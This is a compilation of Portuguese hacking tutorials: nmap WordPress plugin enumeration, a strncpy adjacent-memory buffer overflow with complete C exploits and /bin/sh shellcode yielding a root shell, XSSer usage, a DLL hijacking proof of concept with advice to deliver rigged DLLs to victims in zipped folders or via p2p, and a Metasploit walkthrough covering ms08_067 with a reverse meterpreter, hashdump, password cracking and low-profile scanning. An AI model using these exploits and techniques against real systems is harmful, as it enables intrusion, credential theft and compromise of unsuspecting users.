Tutorial: Usando nmap para listar plugins do WordPress

Olá visitante,

Dessa vez vou mostrar como usar a poderosa ferramenta do nmap para listar plugins instalados em uma instalação do wordpress

nmap --script=http-wordpress-plugins --script-args http-wordpress-plugins.root="/blog/", http-wordpress-plugins.search=500 <targets>

O Resultado será uma lista com os plugins que foram localizados na instalação do wordpress.

Legenda:

 <targets> é o ip do site que você quer listar os plugins.

[ Tutorial ] Exploitando Memória Adjacente

1 - Introdução

2 - O Problema 

3 - A Exploitacao 

4 - Expansão do Conceito

5 - Terminando 

 5.1 - Links e Referencias

 5.2 - Considerações Finais 

 5.2 - Agradecimentos

Os ataques de Buffer Overflows parecem que ainda perdurarao por algum tempo. Apesar dos esforcos de grande parte da Comunidade de Seguranca, os exemplos de condições de overflow permanecem como uma "constante" entre os aplicativos de um modo geral.

Ate onde eu conheço, o conceito de buffer overflow eh apenas um, no entanto, as técnicas para implementação deste conceito são diversas. E ate onde eu sei, o Mudge(antiga L0pht, hoje @stake), foi o primeiro a expandir para as massas o conceito de buffer overflows. Desde o worm (Robert Morris, 1988) ate os nossos dias, muitos programadores tem procurado diminuir as condições de buffer overflows em programas que manipulam parâmetros recebidos de um usuário, substituindo funcoes conhecidas como vulneraveis(strcpy, gets, sprintf) por funções que necessariamente fazem checagem do tamanho dos parâmetros recebidos (strncpy, snprintf, etc).

No dia 01 de maior de 2000, twich (twitch@vicar.org) tornou manifesto uma técnica capaz de exploitar espaços de memoria adjacente, especificamente o manuseio incorreto das funções ditas seguras(strcnpy, por exemplo). As Analises de código-fonte(auditoria) passaram agora a incluir todo tipo de funções, demonstrando assim que nao basta apenas a funcao fazer a checagem do tamanho dos parametros, mas outros fatores passaram a ser essenciais.

Neste documento abordaremos esta técnica. Conhecimentos em C, Assembly (AT&T), escrita de exploits(ver docs da Unsek Scene) e Linux se fazem necessários. E principalmente mentalidade fuçadora!

O problema
Podemos descrever basicamente o problemas com as funções ditas seguras (strncpy, strncat, etc) eh que elas não são capazes de terminar automaticamente os buffers ou strings com um NULL. Como assim?


Vejamos nosso primeiro código inicial:

/* Exemplo de strncpy()*/
#include <stdio.h>
#include <string.h>
 int main(int argc, char *argv[]){ char buffer[256];
 /* Iremos copiar argv[1] para buffer e imprimir */ strncpy(buffer,argv[1],sizeof(buffer));
 /* Iremos imprimir o tamanho da string recebida em argv[1] */ printf("strlen: %d | sizeof: %d\n",strlen(buffer), sizeof(buffer)); return 0; }

Como sabemos, strcnpy() ira copiar os dados recebidos da linha de
comando ateh chegar o tamanho de buffer(sizeof(buffer)) ou ateh
receber um NULL(\0), vejamos um exemplo de execucao:

kimera3:/work/testes# ./b1 `perl -e 'print "A" x 255'`
strlen: 255 | sizeof: 256

A "anomalia" ocorre quando digitamos mais dados que o tamanho do
buffer de espera. Vejamos:

kimera3:/work/testes# ./b1 `perl -e 'print "A" x 256'`
strlen: 265 | sizeof: 256
kimera3:/work/testes# ./b1 `perl -e 'print "A" x 257'`
strlen: 265 | sizeof: 256

Como podemos notar strlen() contem um tamanho superior ao esperado. Isso ocorre porque strncpy() nao recebeu o caracter NULL e de alguma forma uniu dados ateh encontrar um NULL. Podemos clarear mais analisando o programa abaixo:

/* Exemplo 2 de strncpy() */
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[]){ char buffer1[20], buffer2[8];
 /* Iremos copiar argv[1] para buffer1 */
strncpy(buffer1,argv[1],sizeof(buffer1));
 /* Iremos copiar buffer1 para buffer2 */
strncpy(buffer2,buffer1,sizeof(buffer2));
 /* Iremos imprimir agora o conteudo de buffer2 */
printf("Buffer2: %s\n",buffer2); return 0; }

Executando este programa, teoricamente deveríamos ter a saída de buffer2, ou seja, uma string contendo 8 caracteres.Mas vejamos:

kimera3:/work/testes# ./b2 NashLeon
Buffer2: NashLeonNashLeon

NashLeonNashLeon Possue 16 caracteres.
No mais a gente pode brincar com isso:

kimera3:/work/testes# ./b2 NashLeonUnsek
Buffer2: NashLeonNashLeonUnsek
kimera3:/work/testes# ./b2 NashLeonUnsekScene
Buffer2: NashLeonNashLeonUnsekScene
kimera3:/work/testes# ./b2 NashLeonUnsekSceneAgain
Buffer2: NashLeonNashLeonUnsekSceneAgxúÿ¿çâ@

Ele imprime justamente porque o strncpy() não encontrou o caracter NULL como esperava. Com menos de 8 caracteres, poderíamos ter:

kimera3:/work/testes# ./b2 Nash
Buffer2: Nash
kimera3:/work/testes# ./b2 NashLeo
Buffer2: NashLeo

Ou seja, a execução e impressão em modo normal e esperado, ja que temos um NULL na string indicando o termino dela. O stack nesse caso iria parecer como:

Memoria Alta || ---------------->
[Topo do Stack] || ---------------->
[ 'N' (buffer2 - 0) ] || ---------------->
 [ 'a' (buffer2 - 1) ] || ---------------->
 [ 's' (buffer2 - 2) ] || ---------------->
 [ 'h' (buffer2 - 3) ] || ---------------->
[ 'L' (buffer2 - 4) ] || ---------------->
 [ 'e' (buffer2 - 5) ] || ---------------->
[ 'o' (buffer2 - 6) ] || ---------------->
 [ 'n' (buffer2 - 7) ] || ---------------->
 [ 'N' (buffer1 - 0) ] || ---------------->
 [ 'a' (buffer1 - 1) ] || ---------------->
[ 's' (buffer1 - 2) ] || ---------------->
 [ 'h' (buffer1 - 3) ] || ---------------->
 [ 'L' (buffer1 - 4) ] || ---------------->
 [ 'e' (buffer1 - 5) ] || ---------------->
 [ 'o' (buffer1 - 6) ] || ---------------->
[ 'n' (buffer1 - 7) ] || ---------------->
[ 'U' (buffer1 - 8) ] || ---------------->
 [ 'n' (buffer1 - 9) ] || ---------------->
[ 's' (buffer1 - 10) ] || ---------------->
[ 'e' (buffer1 - 11) ] || ---------------->
 [ 'k' (buffer1 - 12) ] || ---------------->
 [ 0x00 (buffer1 - 13) ] || || ... \/

Como podemos ver, este problema eh real e pode ser exploitado. Veremos
como na seção abaixo.

A Exploitação

Este problema pode ser exploitado de inúmeras maneiras. Dependendo do nível do atacante, ele pode se aproveitar ate mesmo do exemplo inicial postado neste documento. Como este e todos os meus documentos visam NewBies, veremos inicialmente o exemplo mais trivial de se exploitar este problema.

Como vimos no exemplo acima, strlen() tende a ser maior do que o esperado quando enchemos um buffer e strncpy() nao encontra um NULLinteracao de funcoes.

Vejamos abaixo uma possivel implicacao disso:

 /* Exemplo inicial de programa vulneravel
 * Documento sobre problemas com memoria adjacente
 * Nash Leon - nashleon@yahoo.com.br. *
#include <unistd.h>
int bugada(char *buffer);
int main(int argc,char *argv[])
{
char buf1[512];
char buf2[256];
strncpy(buf2,argv[1],sizeof(buf2));
strncpy(buf1,argv[2],sizeof(buf1));
bugada(buf2); return 0;
}
 int bugada(char *buffer){ char buf3[300]; int i;
/* note que buf3 suporta 300 bytes enquando
 * buf2(buffer) teoricamente deveria conter no maximo
 * 256. */
 for(i = 0; i < strlen(buffer); i++){ buf3[i] = buffer[i];
}
}

#include <stdio.h> 

Para exploitarmos este programa, não tem muito segredo. Vamos encher o primeiro buffer com NOPs e o nosso shellcode, e o segundo apenas com o endereço de retorno. Existem inumeros esquemas em cima disso, em alguns casos, partindo o shellcode ou manipulando NOPs, enfim, vejamos o exploit abaixo:

/* Primeiro exemplo de exploit para
* strcnpy() - Espaco de Memoria Adjacente.
* Desenvolvido por Nash Leon p/ tutorial.
* nashleon@yahoo.com.br */
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#define LENBUFF1 256
#define LENBUFF2 512
/* Shellcode Padrao */ char shellcode[] =   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";
/* Captura o Stack Pointer */
unsigned long get_sp(void){ __asm__("movl %esp,%eax");
}
int main(int argc,char *argv[])
{
char buff1[LENBUFF1];
char buff2[LENBUFF2];
int i, offset = 0; unsigned long retaddr; if(argc < 2){ printf("Uso: %s <offset>\n",argv[0]); exit(0); } offset = atoi(argv[1]); memset(buff1,0x90,sizeof(buff1)); memcpy(buff1+100,shellcode,strlen(shellcode)); retaddr = get_sp() + offset; for(i=0; i< LENBUFF2; i+=4){ buff2[i]=(retaddr&0x000000ff); buff2[i+1]=(retaddr&0x0000ff00)>>8; buff2[i+2]=(retaddr&0x00ff0000)>>16; buff2[i+3]=(retaddr&0xff000000)>>24; } printf("Usando Retorno: 0x%x\n", retaddr); execl("./v","./v",buff1,buff2,NULL); }
Vamos executar ele, entao:
kimera3:/work/testes# ./ev 150
Usando Retorno: 0xbffff7f2
Segmentation fault (core dumped)
kimera3:/work/testes# ./ev 155
Usando Retorno: 0xbffff7f7
sh-2.03#

Como podemos ver, eh funcional! Mas podemos dividi-lo e aprimora-lo ate mesmo para evitar o uso de offsets. Outro possível esquema pode obedecer o seguinte modelo descrito pelo twitch na Phrack 56:

Apos a execução de strncpy(), buf2 deve parecer com:

Código: 

[ 0 ......................................................... 512 ] -------------------------------------------------------------------- | | | | offset_para_shellcode | Um monte de lixo(NULL, NOPs) | | | | -------------------------------------------------------------------- E buf1 deve parecer com: [ 0 .......................................................... 256 ] -------------------------------------------------------------------- | | | | | Cadeia de NOP's | shellcode | Mais NOP's | | | | | --------------------------------------------------------------------

Logo, para este esquema poderíamos ter o seguinte exploit:

Código:

/* Segundo exemplo de exploit para * strcnpy() - Espaco de Memoria Adjacente. * Desenvolvido por Nash Leon p/ tutorial. * nashleon@yahoo.com.br */ #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <string.h> #define LENBUFF1 256 #define LENBUFF2 512 /* Shellcode Padrao */ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; /* Captura o Stack Pointer */ unsigned long get_sp(void){ __asm__("movl %esp,%eax"); } int main(int argc,char *argv[]) { char buff1[LENBUFF1]; char buff2[LENBUFF2]; int i, offset = 0; unsigned long retaddr; if(argc < 2){ printf("Uso: %s <offset>\n",argv[0]); exit(0); } offset = atoi(argv[1]); memset(buff1,0x90,sizeof(buff1)); memcpy(buff1+100,shellcode,strlen(shellcode)); retaddr = get_sp() + offset; memset(buff2,0x90,sizeof(buff2)); for(i=0; i< LENBUFF2 - 360; i+=4){ buff2[i]=(retaddr&0x000000ff); buff2[i+1]=(retaddr&0x0000ff00)>>8; buff2[i+2]=(retaddr&0x00ff0000)>>16; buff2[i+3]=(retaddr&0xff000000)>>24; } printf("Usando Retorno: 0x%x\n", retaddr); execl("./v","./v",buff1,buff2,NULL); }

Executando:

kimera3:/work/testes# ./ev2 120
Usando Retorno: 0xbffff7c4
sh-2.03#

Bom, como podemos perceber não há muito problema em exploitar este tipo de problema. Mas podemos ir mais alem.

4 - Expansão do Conceito

Qualquer função que manipula strings a espera de um caracter NULL para "encerrar" a string pode estar vulnerável a este tipo de problema. Vimos no exemplo acima, strncpy(), uma função que eh muito usada, mas podemos ir mais alem.

As seguintes funções também podem apresentar problemas:

Código:

fread() read() [ read(), readv(), pread() ] memcpy() memccpy() memmove() bcopy() for(i = 0; i < MAXSIZE; i++) buf[i] = buf2[i]; gethostname() strncat()

e etc.

Hoje em dia, a que mais chama a atencao eh a for().

Vejamos o exemplo abaixo:

Código:

/* Exemplo de programa vulneravel em for(). * Documento sobre problemas com memoria adjacente * Nash Leon - nashleon@yahoo.com.br. */  #include <stdio.h> #include <unistd.h> #define MAXSIZE 256 int bugada(char *buffer); int main(int argc,char *argv[]) { char buf1[MAXSIZE]; char buf2[MAXSIZE]; char *pam; int i; pam = argv[1]; /* Copiamos conteudo de argv[1] para buf1 */ for(i = 0; i < MAXSIZE; i++){ buf1[i] = pam[i]; } for(i =0; i < MAXSIZE; i++){ buf2[i] = buf1[i]; } bugada(buf2); return 0; } int bugada(char *buffer){ char buf3[MAXSIZE]; int i; for(i = 0; i < strlen(buffer); i++){ buf3[i] = buffer[i]; } }
# gdb ./v2
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for
details.
This GDB was configured as "i686-pc-linux-gnu"...
(gdb) r `perl -e 'print "A" x 256'`
Starting program: /work/testes/./v2 `perl -e 'print "A" x 256'`
warning: Unable to find dynamic linker breakpoint function.
GDB will be unable to debug shared library initializers
and track explicitly loaded dynamic code.

Program Recebido signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)


Bom, como podemos ver, o problema eh serio! E condicoes com for()
ainda tem sido manifestadas em inumeros programas. O conceito eh este
e em breve espero poder abordar maiores pormenores sobre isso.

Terminando

Mais um documento sobre buffer overflows. Inumeras tecnicas existem e
este documento eh mais um basico.

Para impedir que os buffers sejam usados em condicoes de overflow
pela funções, em muitos casos basta apenas inserir um caracter NULL(\0)
no final do buffer, algo como:

#define MAXSIZE 256
...
for(i = 0; i < MAXSIZE; i++){
buf1[i] = pam[i];
}
buf1[MAXSIZE - 1] = '\0';

...

ou então ja evitar quais problemas na própria função receptora:

#define MAXSIZE 256
...
for(i = 0; i < MAXSIZE - 1; i++){
buf1[i] = pam[i];
}
buf1[MAXSIZE] = '\0';
...

Creditos : NASH LEON

Detectando e exploitando injeções de XSS utilizando o XSSer Tool

O que é XSSer?

XSSer é um programa open-source que automatiza processos de detecção e "explotagem" de injeções XSS em diferentes aplicações.

Você pode testar o software na página vulnerável:

testasp.vulnweb.com/

Como utilizá-lo?

1. root@punter:/pentest/web# $ svn co https://xsser.svn.sourceforge.net/svnroot/xsser xsser

2. root@punter:/pentest/web# cd xsser 

3. root@punter:/pentest/web/xsser# python XSSer.py -u “http://testasp.vulnweb.com” -g “Search.asp?tfSearch=” –proxy “http://127.0.0.1:8118″ –referer “666.666.666.666″ –user-agent “correct audit” –Fuzz -s

4. below are the results

Fonte:
punter-infosec

Windows DLL Hijacking

 Introdução

Hi.
Venho-lhes trazer uma matéria que escrevi há quase um ano, logo quando saiu o bug de DLL Hijacking. Hoje em dia a falha é pouco comentada e os programadores já tomam mais cuidado com ela, mas deixarei a matéria aqui a nível de conhecimento.
Esta é a tal falada falha que afetou diversos aplicativos famosos, incluindo uma grande parte dos softwares do pacote Office e browsers como Opera e Firefox em 2010.

 Hack It!

A falha conhecida como DLL Hijacking existe graças à um mau funcionamento do Windows, e até que eu saiba, afeta todas as versões. Deve ser utilizada juntamente com SEing, pois precisamos saber qual o software que a possível vítima utiliza. Em breve, veremos o porque.

Ao explorar um aplicativo, como por exemplo, um player de música, conseguimos executar um código desejado apenas inserindo um arquivo .dll no mesmo diretório do arquivo *.mp3. Ou seja, se mandarmos uma pasta zipada com alguns arquivos de áudio e uma DLL "escondida" no meio, ao abrir qualquer arquivo de áudio, o player executará a DLL apenas por estar no mesmo diretório.

O nome da *.dll que deve ficar no mesmo diretório do arquivo a ser aberto varia de acordo com o software a ser explorado. Há algumas tools para explorar como o DLL Hijack Audit Kit do projeto Metasploit, o DLL Hijack Auditor do SecurityXploded ou uma ferramenta qualquer de debugging. Em breve, mostrarei o funcionamento de ambas as tools.

Agora, vou mostrar um exemplo do funcionamento da falha.
Ontem, fui brincar com o conhecido player Nullsoft "Winamp", na sua versão 5.5.8.2975.
O nome das DLLs que encontrei foram "rapi.dll" e "dwmapi.dll".

Agora, criarei um código simples para fazer o PoC:

/*
* Simple DLL Hijacking Exploit
* Tutorial por Júnior Moraes (fvox)
* www.forum-invaders.com.br
* Email: synyster@bsdmail.com
*/
#include <windows.h>
#include <stdio.h>
int fvox()
{
MessageBox(0, "u r owned", "DLL Hijacking", MB_OK);
FILE *fp;
fp = fopen("fvox.txt", "w");
fwrite("it works ;-)", 1, 12, fp);
fclose(fp);
exit(1);
return 0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
fvox();
return TRUE;
}

Ainda fazendo os testes no Winamp, vamos compilar a DLL e colocá-la no mesmo diretório de um arquivo *.mp3 com o nome de "dwmapi.dll".
Agora, vamos abrir o arquivo .mp3 com o Winamp. O que será que acontece?



Yeah! Apesar do arquivo *.mp3 ser realmente uma música normal, a DLL foi carregada. Como vocês puderam perceber, o MsgBox foi chamado e foi-se criado um arquivo de nome "fvox.txt" contento a frase "it works ;-)".

___________
. Ferramentas\_______________________________________


Como já disse anteriormente, é possível descobrir o nome da DLL a ser bugada via tools ou por um debugger.
O DLL Hijack Audit Kit executa um macro e abre diversos aplicativos de diversas extensões. Este macro age junto com um aplicativo externo (Process Monitor), que salva um logfile. Com este logfile, há um segundo script que verifica a falha em todos os aplicativos instalados no computador.

Já o DLL Hijack Auditor, verifica uma aplicação específica com base no diretório dela e nas extensões que a aplicação pode executar.

Mostrarei um exemplo utilizando a segunda tool.

Testarei no aplicativo Media Player Classic 1.3.1748.0, muito utilizado para ver filmes por possuir seu sistema de dual audio, etc.

No campo "Select Application", localizem o executável principal. No caso, localizei o arquivo mpc-hc.exe. No campo "Specify Extension", coloquem todas as extensões utilizadas pelo programa e cliquem em "Start Audit". Quando o programa parar de testar as extensões no programa, o botão "Exploit" vai estar liberado. =)
Como é apenas um exemplo, coloquei poucas extensões só para vocês terem uma noção.



Opa. Apareceu uma "dll" bugada chamada "vsfilter.lang". Mas a extensão não é uma DLL. Será que funciona?



É, dá para brincar! ;-)


_________
. Conclusão\_______________________________________


DLL Hijacking pode parecer uma falha boba, mas pode ser muito bem utilizada, tanto em rede quanto fora dela.
Na rede, vocês podem usar e abusar de pastas compartilhadas do Windows.
Na internet, vocês podem enviar arquivos zipados com a DLL bugada oculta, ou espalhar via p2p.

Basta utilizar sua imaginação e seu conhecido, e let's code! ;-)

Aqui vai uma lista de aplicativos que possuem a falha e suas respectivas DLLs bugadas:
http://www.exploit-db.com/dll-hijacking-vulnerable-applications/

Creditos:
fvox.

Tutorial detalhado do Metasploit - Indispensável

O Metasploit é um framework criado por H.D.Moore, que serve para elaboração e execução de um repositório de exploits.

Os meus maiores agradecimentos ao H.D. Moore e sua equipe por tornarem um sonho realidade

Agora que todos já sabem o que é o Metasploit, vamos aprender a trabalhar com ele. Lembrando que este tutorial só tem o objectivo de aprendizagem, cada um é responsável pelos seus actos.
De qualquer forma, e devido a certos requesitos dos testes de intrusão deverão usar sempre proxy a não ser que usem um Lab com VM´s






Uma das coisas que hoje já existe no metasploit é uma interface gráfica via browser que simplifica o processo, apesar de aconselhar a usarem o cliente tipo linha de comandos (msfcl)
A interface gráfica é o msfweb - Interface gráfica via browser

Vou usar o linux mas há também a versão para windows. Então levando em consideração que tenham instalado no vosso PC e está a funcionar, vamos dar uma vista sobre a utilização desta SUPER PODEROSA FERRAMENTA... um sonho tornado realidade... para mim que ainda me lembro quando para fazer isto era preciso dezenas de tools e procedimentos... agora tá tudo integrado numa plataforma/framework.
Vou também ter o cuidado de usar vulnerabilidades antigas e exploits ultrapassados para que não possa ser usado como guia total para um ataque, visto cobrir todo o percurso de exploitation. Mas basta seleccionar outros exploits para as novas coisinhas...

Vejam também a, digamos, o irmão web que é a excelente w3af "Web Application Attack and Audit Framework."
Apesar do metasploit também estar preparado para ataques web, mas eu especializei-me nos dois e é melhor trabalhar com as duas em conjunto.

O metasploit possui várias ferramentas dentre elas: (e muitas mais para vocês explorarem... explorem os payloads, os exploits e todos os outros utilitários. Podem fazer-lo lendo ou explorando nos ficheiros ou com comandos do tipo "show payloads" ou "show exploits", entre outros.)

msfconsole - metasploit em modo console
msfcli - interface de automatização de penetração e exploração
msflogdump - exibe sessões de arquivos de log
msfplayload - usado para gerar payloads customizados
msfpescan - utilizado para analisar e descompilar executáveis e DLLs
msfencode - um codificador interactivo de payload encoder
msfupdate - utilizado para verificar e fazer download de actualização do framework
msfweb - Interface gráfica via browser

Hoje devido ao facto do metasploit estar na Rapid7 podem usar uma versão gratuita do detector de vulnerabilidades automático, o NeXpose Community Edition... ele detecta as vulnerabilidades e integra-se com o metasploit.





Nexpose (Detector de vulnerabilidades)
http://www.rapid7.com/vulnerability-scanner.jsp

Podem, como eu, usar o Nessus para isso ou outras ferramentas... hoje até o nmap têm scripts para detectar vulnerabilidades, que são a principal questão no exploitation... é a partir de uma vulnerabilidade que tudo acontece e precisam saber a versão exacta do software alvo e do SO... em alguns casos no windows até a língua em que o windows esta.
Algo essencial para se escolher o exploit certo é saber o serviço e a versão exacta do mesmo, pois os exploits são feitos nessa base. Para tal e se soubermos já que há uma vulnerabilidade para um apache 2 versão anterior à 2.15, podemos fazer um scan especifico com o Nmap a essa porta (80) para não dar nas vistas. É como se alguem tivesse a aceder ao site, pois apenas são enviados pacotes para a porta 80. Se fizerem um scan a todas as portas e houver algum equipamento de jeito no caminho vai detectar que é um scan e corta. Saibam o que procurar e não façam scans a todas as portas, a não ser que não haja qualquer equipamento especial, como acontece na maioria dos datacenters para as contas mais baixas. As mais usadas
.
Código :
Nmap –sT –P0 –A –version-all –T0 –p 80 ipalvo (o –T0 é para que haja maior espaço de tempo entre o envio de pacotes, para dificultar a detecção. Mas não é uma técnica de evasão e pode ser dispensado. O Nmap têm diversas técnicas de evasão, como spoofing, etc... explorem a documentação)





Nessus (Detector de vulnerabilidades)
http://www.nessus.org/nessus/
O Nessus é um motor que interpreta scripts em NASL (ver artigo meu na 3ª Edição - Julho de 2006 que explica melhor esta linguagem) e envia-os contra um ou mais alvos, fazendo um relatório dos resultados. Estes scripts procurar milhares de vulnerabilidades, mas apensa as conhecidas. Podem desenvolver os vossos próprios scripts NASL para coisas novas.

Voltando ao Metasploit, eu vou ensinar aqui a utilizar somente três destas ferramentas(msfconsole, msfcli, msfweb), pois acredito que um verdadeiro :smoke: aprenderá sozinho o restante... como sempre dou a base para futuras explorações. Ajuda ao ensino e evita script kiddies

msfconsole:
Primeiramente digita-se na linha de comando :
Código :
[root]#./msfconsole
se for no windows só digite msfconsole sem ./, continuando deverá aparecer algo como: (neste caso já foi usado o comando “show exploits” para se ter uma lista dos exploits. O comando show serve para outras coisas como payloads e opções. Ver em detalhe)





Para quem dá o primeiro passo pode executar o comando “help” para ver os comandos de consola. Atenção que isto são apenas os comandos de consola e não todas as suas funcionalidades.

Como vimos na primeira imagem do mestasploit e a nivel formativo, pois no mundo a sério já saberão que exploit usar, será: show [opção] (a opção poderá ser uma das que vos aparecerão senão digitarem nenhuma, como podem ver no exemplo em seguida

desta forma:

Código :
msf > show
msfconsole: show: requires an option: 'exploits', 'payloads', 'encoders', or 'nops'
msf >
Viram que apareceram as opções deste comando. O mesmo acontece com outros comandos, pois podem ir assim explorando a framework.

Para saberem quais os exploits que existem nesta framework (desde a ultima actualização, devem ir actualizando o metasploit que está em constante evolução) basta digitar o comando:

Código :
msf >show exploits;

Para saber os payloads que existem neste framework basta digitar o comando: show payloads e assim por diante.

Então dentro do ambiente do metasploit escolhemos o exploit assim com o comando “use”:



Código :
msf > use wins_ms04_045
msf wins_ms04_045 >
viram que eu escolhi o wins_ms04_045 e o prompt mudou . Utilizando para isto o comando: use

continuando...

Digitamos o nosso velho amigo : show , novamente para verificar quais atributos ele aceita . Vejamos:

Código :
msf wins_ms04_045 > show
msfconsole: show: specify 'targets', 'payloads', 'options', or 'advanced'
msf wins_ms04_045 >
Vimos aqui que ele aceita targets, payloads, options ou advanced.

Vamos verificar quais opções que este exploit já seleccionado aceita:

Código :
msf wins_ms04_045 > show options

Exploit Options
===============

Exploit: Name Default Description
-------- ------ ------- ------------------
required RHOST The target address
required RPORT 42 The target port

Target: Target Not Specified

msf wins_ms04_045 >
Este exploit aceita somente duas opções : o ip alvo e a porta alvo. 

Agora deves estar a perguntar... como faço para utilizar isto. Simples, basta configurar o que o exploit aceita (há diferenças entre exploits e cada vez mais, pois mais complexidade e vectores são adicionados, diferenciando cada vez mais os exploits), lembrando que onde estiver escrito required, significa que estas opções tem que ser configuradas obrigatoriamente para o exploit funcionar. Continuando...

Façamos assim:

Código :
msf wins_ms04_045 > set RHOST 200.126.35.34
RHOST -> 200.126.35.34
msf wins_ms04_04>

msf wins_ms04_045 > set RPORT 42
RPORT -> 42
msf wins_ms04_045 >
Vejam que utilizei a mesma porta que o valor por default...
Agora teremos que seleccionar o payload para o nosso exploit. O payload nada mais é que um software acoplado ao exploit para fazer as mais variadas tarefas.
Digitamos então o comando para saber os payloads suportados pelo nosso exploit: show payloads

Código :
msf wins_ms04_045 > show payloads

Metasploit Framework Usable Payloads
====================================

win32_adduser Windows Execute net user /ADD
win32_bind Windows Bind Shell
win32_bind_dllinject Windows Bind DLL Inject
win32_bind_meterpreter Windows Bind Meterpreter DLL Inject
win32_bind_stg Windows Staged Bind Shell
win32_bind_stg_upexec Windows Staged Bind Upload/Execute
win32_bind_vncinject Windows Bind VNC Server DLL Inject
win32_exec Windows Execute Command
win32_passivex Windows PassiveX ActiveX Injection Payload
win32_passivex_meterpreter Windows PassiveX ActiveX Inject Meterpreter Payload
win32_passivex_stg Windows Staged PassiveX Shell
win32_passivex_vncinject Windows PassiveX ActiveX Inject VNC Server Payload
win32_reverse Windows Reverse Shell
win32_reverse_dllinject Windows Reverse DLL Inject
win32_reverse_meterpreter Windows Reverse Meterpreter DLL Inject
win32_reverse_ord Windows Staged Reverse Ordinal Shell
win32_reverse_ord_vncinject Windows Reverse Ordinal VNC Server Inject
win32_reverse_stg Windows Staged Reverse Shell
win32_reverse_stg_upexec Windows Staged Reverse Upload/Execute
win32_reverse_vncinject Windows Reverse VNC Server Inject

msf wins_ms04_045 >
Eu vou escolher o primeiro payload, que faz com que seja adicionado remotamente um utilizador no sistema windows (como tenho dito tanto sobre os payloads, hoje já há payloads para tudo e todos os SO´s… até uma shell especial para cracking que é o meterpreter)

O meterpreter é um complexo payload que é uma espécia de shell especial para cracking, com funcionalidades especificas para isso. Algo que já falei bastante também.

Documento onde é detalhado técnicamente o meterpreter:
http://www.nologin.org/Downloads/Papers/meterpreter.pdf

Caso queiram usar o meterpreter, na selecção do payload, escolham um com meterpreter, como por exemplo win32_reverse_meterpreter... isto vai criar uma sessão no alvo, com o meterpreter e como é reverse passa pelas firewalls, pois estas pensam que como vem de dentro da rede é confiável.

Assim:
Código :
msf wins_ms04_045 > set PAYLOAD win32_adduser jolie
PAYLOAD win32_adduser -> jolie
msf wins_ms04_045>
Vamos agora listar os sistemas operativos que serão os alvos: Utilizando o velho comando : show, só que agora assim: show targets

Código :
msf wins_ms04_045 > show targets

Supported Exploit Targets
=========================

0 Windows 2000 English

msf wins_ms04_045 >

Só temos uma opcao aqui, somente o windows 2000 em ingles é vulneravel, mas tudo bem...

msf wins_ms04_045 > set TARGET 0
TARGET -> 0
msf wins_ms04_045 >
tamos mesmo, mesmo, mesmo a um tirinho de caçadeira... valeu a pena chegar aqui... pois agora apenas falta uma coisa para completar nossa tarefa... Executar o nosso exploit, que é mais um pacote exploit (conjunto de várias coisas que antigamente se faziam em separado e com muito trabalho) do que somente um exploit.

Digite somente: exploit (lindo não? Isto é “disparar” o exploit em direcção ao alvo. ATENÇÃO. Só usar alvos virutais ou máquinas voças

Código :
msf wins_ms04_045 > exploit
E pronto...Acabamos a nossa primeira etapa, agora vamos passar para o msfcli.

O msfcli é utilizado para poder fazer tudo de uma só vez. Nao precisando do passo a passo descrito acima. Se nós ja conhecemos o exploit isto agiliza
muito o nosso trabalho na linha de comando digitamos assim:

Código :
[root]#./msfcli wins_ms04_045 RHOST =200.156.23.25 RPORT=42 PAYLOAD=win32_adduser teste TARGET=0 E
e vejam que faz a mesma coisa que no modo console.
Caso o exploit se direcione a um serviço sem previlégios especiais pode-se usar um exploit local para escalar previlégios ou os seguintes comandos do meterpreter. Atenção que neste caso terão de estar a usar o meterpreter (para isso terão na altura de selecção do payload escolher um especial com o meterpreter, como por exemplo win32_reverse_meterpreter)
E na sessão do meterpreter usem os scripts já existentes para isso, como apresento em baixo.

Código :
meterpreter> use priv
meterpreter> getsystem
Mais coisas interessantes que se podem fazer com o meterpreter em conjunto com outras ferrametas geniáis, como o LophtCrack ou o Cain e Abel para crackar hashes de passwords.
Has passwords estão codificadas mas podem ser “sacadas” e posteriormente crackadas... garanto que conseguirão algumas que não sejam muito fortes, o que é muito normal.

Por exemplo. Como fazer o dump das hashes das passowrds com o meterpreter e fazer o download para depois as crackarem com algum dos programas anteriormente mencionados.

Código :
.MSFConsole
> use windows/smb/ms08_067_netapi
> set PAYLOAD windows/meterpreter/reverse_tcp
> set LHOST (meu Ip)
> set RHOST (Ip Remoto)
> exploit
> getuid
> hashdump
> use -f cmd -c
Para fazer downloads ou uploads dentro do meterpreter, entre o vosso PC e o alvo comprometido.

Código :
meterpreter> download arquivo1 arquivo2 pastaDestino
meterpreter> upload arquivo1 arquivo2 pastaDestino
Para crackar as hashes eu uso o LOphtCrack. É só guardar o resultado do "hashdump" num .txt (meuHash.txt) e usa-lo no LOphtCrack. Garanto que terão algumas passwords interessantes.

(investiguem também a familia Pwdump... muito interessante para certas situações.)



Quote
pwdump is the name of various Windows programs that output the LM and NTLM password hashes of local user accounts from the Security Account Manager (SAM). In order to work, it must be run under an Administrator account, or be able to access an Administrator account on the computer where the hashes are to be dumped; so Pwdump does not compromise security. Most of these programs are open-source.
http://en.wikipedia.org/wiki/Pwdump (aqui são explicadas as várias “cores” e “sabores” e seus links)

Vamos passar para uma forma ainda mais fácil. Garanto que o ppl mais windows vão adorar esta forma, que é um GUI (Grafical User Interface... mas no mundo dos exploits? Sim... vejam)

